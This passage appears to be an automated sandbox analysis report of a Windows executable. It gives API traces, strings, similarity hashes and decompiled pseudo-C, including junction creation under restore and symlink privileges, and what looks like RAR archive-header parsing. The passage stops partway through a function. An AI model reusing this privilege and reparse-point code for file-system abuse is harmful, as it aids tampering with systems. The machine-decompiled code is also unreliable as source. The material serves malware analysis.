0x013572d6
0x013572df
0x013572eb
0x013572ec
0x01357316
0x013572ee
0x013572ee
0x013572ee
0x00000000
0x013572ec
0x013571ca
0x013571cc
0x00000000
0x00000000
0x00000000
0x013571cc
0x0135715f
0x01357162
0x0135716a
0x01357170
0x01357173
0x0135717e
0x01357184
0x01357192
0x01357197
0x0135719a
0x0135719d
0x013571a6
0x013571bb
0x00000000
0x013571c0
0x0135710f
0x013570ca
0x00000000
0x00000000
0x013570d7
0x013570dc
0x013570de
0x00000000
0x00000000
0x013570ea
0x013570eb
0x013570ef
0x013570f0
0x013570f8
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01356FCB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 0135712B
CloseHandle.KERNEL32(00000000), ref: 0135713B

Part of subcall function 01357A15: GetCurrentProcess.KERNEL32(00000020,?), ref: 01357A24
Part of subcall function 01357A15: GetLastError.KERNEL32 ref: 01357A6A
Part of subcall function 01357A15: CloseHandle.KERNEL32(?), ref: 01357A79

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 01357146
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 01357254
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 01357280
CloseHandle.KERNEL32(?), ref: 01357292
GetLastError.KERNEL32(00000015,00000000,?), ref: 013572A2
RemoveDirectoryW.KERNEL32(?), ref: 013572EE
DeleteFileW.KERNEL32(?), ref: 01357316

Strings

UNC\, xrefs: 01357076
SeRestorePrivilege, xrefs: 01356FEC
SeCreateSymbolicLinkPrivilege, xrefs: 01356FF6
\??\, xrefs: 01357051

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: e89050dce35e115474e40a2e93dd310c41ffe052e76a8e3c2ffc4f2369ce8837
Instruction ID: 17a6fcc79eedda99f4ff994eec6d04cc7dbf68f5813a4b7a99e4c173d171a64b
Opcode Fuzzy Hash: e89050dce35e115474e40a2e93dd310c41ffe052e76a8e3c2ffc4f2369ce8837
Instruction Fuzzy Hash: 2DB1C0B19002199BEB21DFB8CC45FEE77B8EF08708F4444A9ED59E7241D774AA45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013530FC, Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 605
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E013530FC(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				signed int _t242;
				void* _t248;
				unsigned int _t250;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				void* _t257;
				char _t270;
				signed int _t289;
				unsigned int _t290;
				intOrPtr _t291;
				signed int _t292;
				signed int _t295;
				char _t302;
				signed char _t304;
				signed int _t320;
				signed int _t331;
				signed int _t335;
				signed int _t350;
				signed char _t352;
				unsigned int _t362;
				void* _t378;
				void* _t380;
				void* _t381;
				void* _t392;
				intOrPtr* _t394;
				intOrPtr* _t396;
				signed int _t409;
				signed int _t419;
				char _t431;
				signed int _t432;
				signed int _t437;
				signed int _t441;
				intOrPtr _t449;
				unsigned int _t455;
				unsigned int _t458;
				signed int _t462;
				signed int _t470;
				signed int _t479;
				signed int _t484;
				signed int _t498;
				intOrPtr _t499;
				signed int _t500;
				signed char _t501;
				unsigned int _t502;
				void* _t509;
				void* _t517;
				signed int _t520;
				void* _t521;
				signed int _t531;
				unsigned int _t534;
				void* _t539;
				intOrPtr _t543;
				void* _t544;
				void* _t545;
				void* _t546;
				intOrPtr _t556;

				_t396 = __ecx;
				_t546 = _t545 - 0x68;
				E0136D870(E013811A9, _t544);
				E0136D940();
				_t394 = _t396;
				E0135C223(_t544 + 0x30, _t394);
				 *(_t544 + 0x60) = 0;
				 *((intOrPtr*)(_t544 - 4)) = 0;
				if( *((intOrPtr*)(_t394 + 0x6cbc)) == 0) {
					L15:
					 *((char*)(_t544 + 0x6a)) = 0;
					L16:
					if(E0135C42E(_t498, 7) >= 7) {
						 *(_t394 + 0x21f4) = 0;
						_t509 = _t394 + 0x21e4;
						 *_t509 = E0135C29E(_t544 + 0x30);
						_t531 = E0135C40A(_t544 + 0x30, 4);
						_t242 = E0135C39E(_t498);
						__eflags = _t242 | _t498;
						if((_t242 | _t498) == 0) {
							L85:
							E01351EF8(_t394);
							L86:
							E0135159C(_t544 + 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t544 - 0xc));
							return  *(_t544 + 0x60);
						}
						__eflags = _t531;
						if(_t531 == 0) {
							goto L85;
						}
						_t42 = _t531 - 3; // -3
						_t534 = _t531 + 4 + _t242;
						_t409 = _t42 + _t242;
						__eflags = _t409;
						 *(_t544 + 0x64) = _t534;
						if(_t409 < 0) {
							goto L85;
						}
						__eflags = _t534 - 7;
						if(_t534 < 7) {
							goto L85;
						}
						E0135C42E(_t498, _t409);
						__eflags =  *(_t544 + 0x48) - _t534;
						if( *(_t544 + 0x48) < _t534) {
							goto L17;
						}
						_t248 = E0135C37E(_t544 + 0x30);
						 *(_t394 + 0x21e8) = E0135C39E(_t498);
						_t250 = E0135C39E(_t498);
						 *(_t394 + 0x21ec) = _t250;
						__eflags =  *_t509 - _t248;
						 *(_t394 + 0x21f4) = _t250 >> 0x00000002 & 0x00000001;
						 *(_t394 + 0x21f0) =  *(_t544 + 0x64);
						_t254 =  *(_t394 + 0x21e8);
						 *(_t394 + 0x21dc) = _t254;
						_t255 = _t254 & 0xffffff00 |  *_t509 != _t248;
						 *(_t544 + 0x6b) = _t255;
						__eflags = _t255;
						if(_t255 == 0) {
							L26:
							_t256 = 0;
							__eflags =  *(_t394 + 0x21ec) & 0x00000001;
							 *(_t544 + 0x58) = 0;
							 *(_t544 + 0x54) = 0;
							if(( *(_t394 + 0x21ec) & 0x00000001) == 0) {
								L30:
								__eflags =  *(_t394 + 0x21ec) & 0x00000002;
								_t536 = _t256;
								 *(_t544 + 0x64) = _t256;
								 *(_t544 + 0x5c) = _t256;
								if(( *(_t394 + 0x21ec) & 0x00000002) != 0) {
									_t362 = E0135C39E(_t498);
									_t536 = _t362;
									 *(_t544 + 0x64) = _t362;
									 *(_t544 + 0x5c) = _t498;
								}
								_t257 = E01351901(_t394,  *(_t394 + 0x21f0));
								_t499 = 0;
								asm("adc eax, edx");
								 *((intOrPtr*)(_t394 + 0x6ca8)) = E01353CA7( *((intOrPtr*)(_t394 + 0x6ca0)) + _t257,  *((intOrPtr*)(_t394 + 0x6ca4)), _t536,  *(_t544 + 0x5c), _t499, _t499);
								 *((intOrPtr*)(_t394 + 0x6cac)) = _t499;
								_t500 =  *(_t394 + 0x21e8);
								__eflags = _t500 - 1;
								if(__eflags == 0) {
									E0135A96C(_t394 + 0x2208);
									_t419 = 5;
									memcpy(_t394 + 0x2208, _t509, _t419 << 2);
									_t501 = E0135C39E(_t500);
									 *(_t394 + 0x6cb5) = _t501 & 1;
									 *(_t394 + 0x6cb4) = _t501 >> 0x00000002 & 1;
									 *(_t394 + 0x6cb7) = _t501 >> 0x00000004 & 1;
									_t431 = 1;
									 *((char*)(_t394 + 0x6cba)) = 1;
									 *(_t394 + 0x6cbb) = _t501 >> 0x00000003 & 1;
									_t270 = 0;
									 *((char*)(_t394 + 0x6cb8)) = 0;
									__eflags = _t501 & 0x00000002;
									if((_t501 & 0x00000002) == 0) {
										 *((intOrPtr*)(_t394 + 0x6cd8)) = 0;
									} else {
										 *((intOrPtr*)(_t394 + 0x6cd8)) = E0135C39E(_t501);
										_t270 = 0;
										_t431 = 1;
									}
									__eflags =  *(_t394 + 0x6cb5);
									if( *(_t394 + 0x6cb5) == 0) {
										L81:
										_t431 = _t270;
										goto L82;
									} else {
										__eflags =  *((intOrPtr*)(_t394 + 0x6cd8)) - _t270;
										if( *((intOrPtr*)(_t394 + 0x6cd8)) == _t270) {
											L82:
											 *((char*)(_t394 + 0x6cb9)) = _t431;
											_t432 =  *(_t544 + 0x58);
											__eflags = _t432 |  *(_t544 + 0x54);
											if((_t432 |  *(_t544 + 0x54)) != 0) {
												E0135200C(_t394, _t544 + 0x30, _t432, _t394 + 0x2208);
											}
											L84:
											 *(_t544 + 0x60) =  *(_t544 + 0x48);
											goto L86;
										}
										goto L81;
									}
								}
								if(__eflags <= 0) {
									goto L84;
								}
								__eflags = _t500 - 3;
								if(_t500 <= 3) {
									__eflags = _t500 - 2;
									_t120 = (0 | _t500 != 0x00000002) - 1; // -1
									_t517 = (_t120 & 0xffffdcb0) + 0x45d0 + _t394;
									 *(_t544 + 0x2c) = _t517;
									E0135A8D2(_t517, 0);
									_t437 = 5;
									memcpy(_t517, _t394 + 0x21e4, _t437 << 2);
									_t539 =  *(_t544 + 0x2c);
									 *(_t544 + 0x60) =  *(_t394 + 0x21e8);
									 *(_t539 + 0x1058) =  *(_t544 + 0x64);
									 *((char*)(_t539 + 0x10f9)) = 1;
									 *(_t539 + 0x105c) =  *(_t544 + 0x5c);
									 *(_t539 + 0x1094) = E0135C39E(_t500);
									 *(_t539 + 0x1060) = E0135C39E(_t500);
									_t289 =  *(_t539 + 0x1094) >> 0x00000003 & 0x00000001;
									__eflags = _t289;
									 *(_t539 + 0x1064) = _t500;
									 *(_t539 + 0x109a) = _t289;
									if(_t289 != 0) {
										 *(_t539 + 0x1060) = 0x7fffffff;
										 *(_t539 + 0x1064) = 0x7fffffff;
									}
									_t441 =  *(_t539 + 0x105c);
									_t520 =  *(_t539 + 0x1064);
									_t290 =  *(_t539 + 0x1058);
									_t502 =  *(_t539 + 0x1060);
									__eflags = _t441 - _t520;
									if(__eflags < 0) {
										L51:
										_t290 = _t502;
										_t441 = _t520;
										goto L52;
									} else {
										if(__eflags > 0) {
											L52:
											 *(_t539 + 0x106c) = _t441;
											 *(_t539 + 0x1068) = _t290;
											_t291 = E0135C39E(_t502);
											__eflags =  *(_t539 + 0x1094) & 0x00000002;
											 *((intOrPtr*)(_t539 + 0x24)) = _t291;
											if(( *(_t539 + 0x1094) & 0x00000002) != 0) {
												E01360A25(_t539 + 0x1040, _t502, E0135C29E(_t544 + 0x30), 0);
											}
											 *(_t539 + 0x1070) =  *(_t539 + 0x1070) & 0x00000000;
											__eflags =  *(_t539 + 0x1094) & 0x00000004;
											if(( *(_t539 + 0x1094) & 0x00000004) != 0) {
												 *(_t539 + 0x1070) = 2;
												 *((intOrPtr*)(_t539 + 0x1074)) = E0135C29E(_t544 + 0x30);
											}
											 *(_t539 + 0x1100) =  *(_t539 + 0x1100) & 0x00000000;
											_t292 = E0135C39E(_t502);
											 *(_t544 + 0x64) = _t292;
											 *(_t539 + 0x20) = _t292 >> 0x00000007 & 0x00000007;
											_t449 = (_t292 & 0x0000003f) + 0x32;
											 *((intOrPtr*)(_t539 + 0x1c)) = _t449;
											__eflags = _t449 - 0x32;
											if(_t449 != 0x32) {
												 *((intOrPtr*)(_t539 + 0x1c)) = 0x270f;
											}
											 *((char*)(_t539 + 0x18)) = E0135C39E(_t502);
											_t521 = E0135C39E(_t502);
											 *(_t539 + 0x10fc) = 2;
											_t295 =  *((intOrPtr*)(_t539 + 0x18));
											 *(_t539 + 0x10f8) =  *(_t394 + 0x21ec) >> 0x00000006 & 1;
											__eflags = _t295 - 1;
											if(_t295 != 1) {
												__eflags = _t295;
												if(_t295 == 0) {
													_t177 = _t539 + 0x10fc;
													 *_t177 =  *(_t539 + 0x10fc) & 0x00000000;
													__eflags =  *_t177;
												}
											} else {
												 *(_t539 + 0x10fc) = 1;
											}
											_t455 =  *(_t539 + 8);
											 *(_t539 + 0x1098) = _t455 >> 0x00000003 & 1;
											 *(_t539 + 0x10fa) = _t455 >> 0x00000005 & 1;
											__eflags =  *(_t544 + 0x60) - 2;
											_t458 =  *(_t544 + 0x64);
											 *(_t539 + 0x1099) = _t455 >> 0x00000004 & 1;
											if( *(_t544 + 0x60) != 2) {
												L65:
												_t302 = 0;
												__eflags = 0;
												goto L66;
											} else {
												__eflags = _t458 & 0x00000040;
												if((_t458 & 0x00000040) == 0) {
													goto L65;
												}
												_t302 = 1;
												L66:
												 *((char*)(_t539 + 0x10f0)) = _t302;
												_t304 =  *(_t539 + 0x1094) & 1;
												 *(_t539 + 0x10f1) = _t304;
												asm("sbb eax, eax");
												 *(_t539 + 0x10f4) =  !( ~(_t304 & 0x000000ff)) & 0x00020000 << (_t458 >> 0x0000000a & 0x0000000f);
												asm("sbb eax, eax");
												 *(_t539 + 0x109c) =  ~( *(_t539 + 0x109b) & 0x000000ff) & 0x00000005;
												__eflags = _t521 - 0x1fff;
												if(_t521 >= 0x1fff) {
													_t521 = 0x1fff;
												}
												E0135C300(_t544 + 0x30, _t544 - 0x2074, _t521);
												 *((char*)(_t544 + _t521 - 0x2074)) = 0;
												_push(0x800);
												_t522 = _t539 + 0x28;
												_push(_t539 + 0x28);
												_push(_t544 - 0x2074);
												E01361094();
												_t462 =  *(_t544 + 0x58);
												__eflags = _t462 |  *(_t544 + 0x54);
												if((_t462 |  *(_t544 + 0x54)) != 0) {
													E0135200C(_t394, _t544 + 0x30, _t462, _t539);
												}
												_t319 =  *(_t544 + 0x60);
												__eflags =  *(_t544 + 0x60) - 2;
												if( *(_t544 + 0x60) != 2) {
													L72:
													_t320 = E01372B69(_t319, _t522, L"CMT");
													__eflags = _t320;
													if(_t320 == 0) {
														 *((char*)(_t394 + 0x6cb6)) = 1;
													}
													goto L74;
												} else {
													E01351F3D(_t394, _t539);
													_t319 =  *(_t544 + 0x60);
													__eflags =  *(_t544 + 0x60) - 2;
													if( *(_t544 + 0x60) == 2) {
														L74:
														__eflags =  *(_t544 + 0x6b);
														if(__eflags != 0) {
															E01356BF5(__eflags, 0x1c, _t394 + 0x1e, _t522);
														}
														goto L84;
													}
													goto L72;
												}
											}
										}
										__eflags = _t290 - _t502;
										if(_t290 > _t502) {
											goto L52;
										}
										goto L51;
									}
								}
								__eflags = _t500 - 4;
								if(_t500 == 4) {
									_t470 = 5;
									memcpy(_t394 + 0x2248, _t394 + 0x21e4, _t470 << 2);
									_t331 = E0135C39E(_t500);
									__eflags = _t331;
									if(_t331 == 0) {
										 *(_t394 + 0x225c) = E0135C39E(_t500) & 0x00000001;
										_t335 = E0135C251(_t544 + 0x30) & 0x000000ff;
										 *(_t394 + 0x2260) = _t335;
										__eflags = _t335 - 0x18;
										if(_t335 <= 0x18) {
											E0135C300(_t544 + 0x30, _t394 + 0x2264, 0x10);
											__eflags =  *(_t394 + 0x225c);
											if( *(_t394 + 0x225c) != 0) {
												E0135C300(_t544 + 0x30, _t394 + 0x2274, 8);
												E0135C300(_t544 + 0x30, _t544 + 0x64, 4);
												E0135F524(_t544 - 0x74);
												E0135F56A(_t544 - 0x74, _t394 + 0x2274, 8);
												_push(_t544 + 8);
												E0135F435(_t544 - 0x74);
												_t350 = E0136F3CA(_t544 + 0x64, _t544 + 8, 4);
												asm("sbb al, al");
												_t352 =  ~_t350 + 1;
												__eflags = _t352;
												 *(_t394 + 0x225c) = _t352;
											}
											 *((char*)(_t394 + 0x6cbc)) = 1;
											goto L84;
										}
										_push(_t335);
										_push(L"hc%u");
										L40:
										_push(0x14);
										_push(_t544);
										E01353E41();
										E01353DEC(_t394, _t394 + 0x1e, _t544);
										goto L86;
									}
									_push(_t331);
									_push(L"h%u");
									goto L40;
								}
								__eflags = _t500 - 5;
								if(_t500 == 5) {
									_t479 = _t500;
									memcpy(_t394 + 0x4590, _t394 + 0x21e4, _t479 << 2);
									 *(_t394 + 0x45ac) = E0135C39E(_t500) & 0x00000001;
									 *((short*)(_t394 + 0x45ae)) = 0;
									 *((char*)(_t394 + 0x45ad)) = 0;
								}
								goto L84;
							}
							_t484 = E0135C39E(_t498);
							 *(_t544 + 0x54) = _t498;
							_t256 = 0;
							 *(_t544 + 0x58) = _t484;
							__eflags = _t498;
							if(__eflags < 0) {
								goto L30;
							}
							if(__eflags > 0) {
								goto L85;
							}
							__eflags = _t484 -  *(_t394 + 0x21f0);
							if(_t484 >=  *(_t394 + 0x21f0)) {
								goto L85;
							}
							goto L30;
						}
						E01351EF8(_t394);
						 *((char*)(_t394 + 0x6cc4)) = 1;
						E01356E03(0x13900e0, 3);
						__eflags =  *((char*)(_t544 + 0x6a));
						if(__eflags == 0) {
							goto L26;
						} else {
							E01356BF5(__eflags, 4, _t394 + 0x1e, _t394 + 0x1e);
							 *((char*)(_t394 + 0x6cc5)) = 1;
							goto L86;
						}
					}
					L17:
					E01353DAB(_t394, _t498);
					goto L86;
				}
				_t498 =  *((intOrPtr*)(_t394 + 0x6cc0)) + 8;
				asm("adc eax, ecx");
				_t556 =  *((intOrPtr*)(_t394 + 0x6ca4));
				if(_t556 < 0 || _t556 <= 0 &&  *((intOrPtr*)(_t394 + 0x6ca0)) <= _t498) {
					goto L15;
				} else {
					_push(0x10);
					_push(_t544 + 0x18);
					 *((char*)(_t544 + 0x6a)) = 1;
					if( *((intOrPtr*)( *_t394 + 0xc))() != 0x10) {
						goto L17;
					}
					if( *((char*)( *((intOrPtr*)(_t394 + 0x21bc)) + 0x5124)) != 0) {
						L7:
						 *(_t544 + 0x6b) = 1;
						L8:
						E01353C40(_t394);
						_t529 = _t394 + 0x2264;
						_t543 = _t394 + 0x1024;
						E0135607D(_t543, 0, 5,  *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024, _t394 + 0x2264, _t544 + 0x18,  *(_t394 + 0x2260), 0, _t544 + 0x28);
						if( *(_t394 + 0x225c) == 0) {
							L13:
							 *((intOrPtr*)(_t544 + 0x50)) = _t543;
							goto L16;
						} else {
							_t378 = _t394 + 0x2274;
							while(1) {
								_t380 = E0136F3CA(_t544 + 0x28, _t378, 8);
								_t546 = _t546 + 0xc;
								if(_t380 == 0) {
									goto L13;
								}
								_t563 =  *(_t544 + 0x6b);
								_t381 = _t394 + 0x1e;
								_push(_t381);
								_push(_t381);
								if( *(_t544 + 0x6b) != 0) {
									_push(6);
									E01356BF5(__eflags);
									 *((char*)(_t394 + 0x6cc5)) = 1;
									E01356E03(0x13900e0, 0xb);
									goto L86;
								}
								_push(0x7d);
								E01356BF5(_t563);
								E0135E797( *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024);
								E01353C40(_t394);
								E0135607D(_t543, 0, 5,  *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024, _t529, _t544 + 0x18,  *(_t394 + 0x2260), 0, _t544 + 0x28);
								_t378 = _t394 + 0x2274;
								if( *(_t394 + 0x225c) != 0) {
									continue;
								}
								goto L13;
							}
							goto L13;
						}
					}
					_t392 = E01360FBA();
					 *(_t544 + 0x6b) = 0;
					if(_t392 == 0) {
						goto L8;
					}
					goto L7;
				}
			}

0x013530fc
0x013530fd
0x01353105
0x0135310f
0x01353116
0x0135311d
0x01353124
0x01353127
0x01353130
0x01353279
0x01353279
0x0135327c
0x01353289
0x0135329a
0x013532a1
0x013532b1
0x013532bb
0x013532bd
0x013532c4
0x013532c6
0x013538f6
0x013538f8
0x013538fd
0x01353900
0x0135390e
0x01353919
0x01353919
0x013532cc
0x013532ce
0x00000000
0x00000000
0x013532d4
0x013532da
0x013532dc
0x013532dc
0x013532de
0x013532e1
0x00000000
0x00000000
0x013532e7
0x013532ea
0x00000000
0x00000000
0x013532f4
0x013532f9
0x013532fc
0x00000000
0x00000000
0x01353301
0x01353313
0x01353319
0x0135331e
0x01353329
0x0135332b
0x01353334
0x0135333a
0x01353340
0x01353346
0x01353349
0x0135334c
0x0135334e
0x01353388
0x01353388
0x0135338a
0x01353391
0x01353394
0x01353397
0x013533c1
0x013533c1
0x013533c8
0x013533ca
0x013533cd
0x013533d0
0x013533d5
0x013533da
0x013533dc
0x013533df
0x013533df
0x013533ea
0x013533f7
0x01353406
0x0135340f
0x01353417
0x0135341e
0x01353424
0x01353426
0x01353837
0x01353846
0x01353847
0x01353851
0x0135385a
0x01353867
0x01353876
0x01353881
0x01353884
0x0135388a
0x01353890
0x01353892
0x01353898
0x0135389b
0x013538b2
0x0135389d
0x013538a5
0x013538ad
0x013538af
0x013538af
0x013538b8
0x013538bf
0x013538c9
0x013538c9
0x00000000
0x013538c1
0x013538c1
0x013538c7
0x013538cb
0x013538cb
0x013538d1
0x013538d6
0x013538d9
0x013538e9
0x013538e9
0x013538ee
0x013538f1
0x00000000
0x013538f1
0x00000000
0x013538c7
0x013538bf
0x0135342c
0x00000000
0x00000000
0x01353432
0x01353435
0x01353577
0x0135357f
0x0135358e
0x01353592
0x01353595
0x0135359c
0x013535a3
0x013535ae
0x013535b1
0x013535b7
0x013535c0
0x013535c7
0x013535d5
0x013535e0
0x013535ef
0x013535ef
0x013535f1
0x013535f7
0x013535fd
0x01353604
0x0135360a
0x0135360a
0x01353610
0x01353616
0x0135361c
0x01353622
0x01353628
0x0135362a
0x01353632
0x01353632
0x01353634
0x00000000
0x0135362c
0x0135362c
0x01353636
0x01353636
0x0135363f
0x01353645
0x0135364a
0x01353651
0x01353654
0x01353667
0x01353667
0x0135366c
0x01353673
0x0135367a
0x0135367f
0x0135368e
0x0135368e
0x01353694
0x0135369e
0x013536a5
0x013536ae
0x013536b6
0x013536b9
0x013536bc
0x013536bf
0x013536c1
0x013536c1
0x013536d3
0x013536e7
0x013536e9
0x013536f3
0x013536f8
0x013536fe
0x01353700
0x0135370a
0x0135370c
0x0135370e
0x0135370e
0x0135370e
0x0135370e
0x01353702
0x01353702
0x01353702
0x01353715
0x0135371f
0x01353731
0x01353737
0x0135373b
0x0135373e
0x01353744
0x0135374f
0x0135374f
0x0135374f
0x00000000
0x01353746
0x01353746
0x01353749
0x00000000
0x00000000
0x0135374b
0x01353751
0x01353751
0x0135375d
0x01353762
0x01353777
0x0135377d
0x0135378c
0x01353791
0x0135379c
0x0135379e
0x013537a0
0x013537a0
0x013537ad
0x013537b2
0x013537c0
0x013537c5
0x013537c8
0x013537c9
0x013537ca
0x013537cf
0x013537d4
0x013537d7
0x013537e1
0x013537e1
0x013537e6
0x013537e9
0x013537ec
0x013537fe
0x01353804
0x0135380b
0x0135380d
0x0135380f
0x0135380f
0x00000000
0x013537ee
0x013537f1
0x013537f6
0x013537f9
0x013537fc
0x01353816
0x01353816
0x0135381a
0x01353827
0x01353827
0x00000000
0x0135381a
0x00000000
0x013537fc
0x013537ec
0x01353744
0x0135362e
0x01353630
0x00000000
0x00000000
0x00000000
0x01353630
0x0135362a
0x0135343b
0x0135343e
0x0135347f
0x0135348c
0x01353491
0x01353496
0x01353498
0x013534cf
0x013534da
0x013534dd
0x013534e3
0x013534e6
0x013534fc
0x01353501
0x01353508
0x01353516
0x01353524
0x0135352d
0x01353539
0x01353541
0x01353546
0x01353555
0x0135355f
0x01353561
0x01353561
0x01353563
0x01353563
0x01353569
0x00000000
0x01353569
0x013534e8
0x013534e9
0x013534a0
0x013534a3
0x013534a5
0x013534a6
0x013534b8
0x00000000
0x013534b8
0x0135349a
0x0135349b
0x00000000
0x0135349b
0x01353440
0x01353443
0x0135344a
0x01353457
0x01353463
0x0135346b
0x01353472
0x01353472
0x00000000
0x01353443
0x013533a1
0x013533a3
0x013533a6
0x013533a8
0x013533ab
0x013533ad
0x00000000
0x00000000
0x013533af
0x00000000
0x00000000
0x013533b5
0x013533bb
0x00000000
0x00000000
0x00000000
0x013533bb
0x01353352
0x0135335e
0x01353365
0x0135336a
0x0135336e
0x00000000
0x01353370
0x01353377
0x0135337c
0x00000000
0x0135337c
0x0135336e
0x0135328b
0x0135328d
0x00000000
0x0135328d
0x0135313e
0x01353141
0x01353143
0x01353149
0x00000000
0x0135315d
0x01353162
0x01353164
0x01353167
0x01353171
0x00000000
0x00000000
0x01353184
0x01353193
0x01353193
0x01353197
0x01353199
0x013531b5
0x013531c1
0x013531cd
0x013531d9
0x01353255
0x01353255
0x00000000
0x013531db
0x013531db
0x013531e1
0x013531e8
0x013531ed
0x013531f2
0x00000000
0x00000000
0x013531f4
0x013531f8
0x013531fb
0x013531fc
0x013531fd
0x0135325a
0x0135325c
0x01353268
0x0135326f
0x00000000
0x0135326f
0x013531ff
0x01353201
0x01353212
0x01353219
0x01353241
0x0135324d
0x01353253
0x00000000
0x00000000
0x00000000
0x01353253
0x00000000
0x013531e1
0x013531d9
0x01353186
0x0135318b
0x01353191
0x00000000
0x00000000
0x00000000
0x01353191

APIs

__EH_prolog.LIBCMT ref: 01353105
_memcmp.LIBVCRUNTIME ref: 013531E8

Strings

hc%u, xrefs: 013534E9
h%u, xrefs: 0135349B
CMT, xrefs: 013537FE

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: a7b707d37d6bc7cb74282f22c21bb39e0b1a0026374c79a2cf147a69c0724269
Instruction ID: c67c714d4c957ee886b5eead63601343f342577d9256c9bbc934336cc4d4c6e4
Opcode Fuzzy Hash: a7b707d37d6bc7cb74282f22c21bb39e0b1a0026374c79a2cf147a69c0724269
Instruction Fuzzy Hash: E332D6715103899FDF58DF78C885EEA3BA9BF24748F04447DED4A8B286DB709548CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0137C55E, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E0137C55E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t777;
				signed int _t778;
				signed int _t784;
				signed int _t790;
				intOrPtr _t792;
				void* _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t805;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t819;
				signed int _t820;
				signed int _t825;
				signed int _t826;
				signed int _t832;
				signed int _t833;
				signed int _t836;
				signed int _t841;
				signed int _t849;
				signed int* _t852;
				signed int _t856;
				signed int _t867;
				signed int _t868;
				signed int _t870;
				char* _t871;
				signed int _t874;
				signed int _t878;
				signed int _t879;
				signed int _t884;
				signed int _t886;
				signed int _t891;
				signed int _t900;
				signed int _t903;
				signed int _t905;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t913;
				signed int _t926;
				signed int _t927;
				signed int _t929;
				char* _t930;
				signed int _t933;
				signed int _t937;
				signed int _t938;
				signed int* _t940;
				signed int _t943;
				signed int _t945;
				signed int _t950;
				signed int _t958;
				signed int _t961;
				signed int _t965;
				signed int* _t972;
				intOrPtr _t974;
				void* _t975;
				intOrPtr* _t977;
				signed int* _t981;
				unsigned int _t992;
				signed int _t993;
				void* _t996;
				signed int _t997;
				void* _t999;
				signed int _t1000;
				signed int _t1001;
				signed int _t1002;
				signed int _t1012;
				signed int _t1017;
				signed int _t1020;
				unsigned int _t1023;
				signed int _t1024;
				void* _t1027;
				signed int _t1028;
				void* _t1030;
				signed int _t1031;
				signed int _t1032;
				signed int _t1033;
				signed int _t1038;
				signed int* _t1043;
				signed int _t1045;
				signed int _t1055;
				void _t1058;
				signed int _t1061;
				void* _t1064;
				void* _t1071;
				signed int _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1082;
				signed int _t1084;
				signed int _t1085;
				signed int _t1086;
				signed int _t1090;
				signed int _t1094;
				signed int _t1095;
				signed int _t1096;
				signed int _t1098;
				signed int _t1099;
				signed int _t1100;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				unsigned int _t1111;
